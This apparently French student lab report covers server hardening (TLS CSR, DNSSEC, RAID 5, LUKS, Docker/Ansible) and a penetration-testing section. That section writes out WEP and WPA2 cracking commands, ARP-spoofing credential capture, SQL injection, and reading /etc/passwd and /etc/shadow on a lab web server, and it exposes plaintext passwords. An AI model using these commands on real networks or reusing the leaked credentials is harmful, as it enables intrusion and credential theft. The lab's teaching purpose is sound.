 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
==== Clés SSH ====&lt;br /&gt;
&lt;br /&gt;
Génération d’une clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Installation de la clef publique sur une cible :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh cible &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
A FINIR&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis nous avons modifié notre fichier de configuration reverse.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.2:8085&amp;quot; route=2&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.4:8085&amp;quot; route=3&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.7:8085&amp;quot; route=4&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.9:8085&amp;quot; route=5&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.12:8085&amp;quot; route=6&lt;br /&gt;
                 ProxySet lbmethod=byrequests&lt;br /&gt;
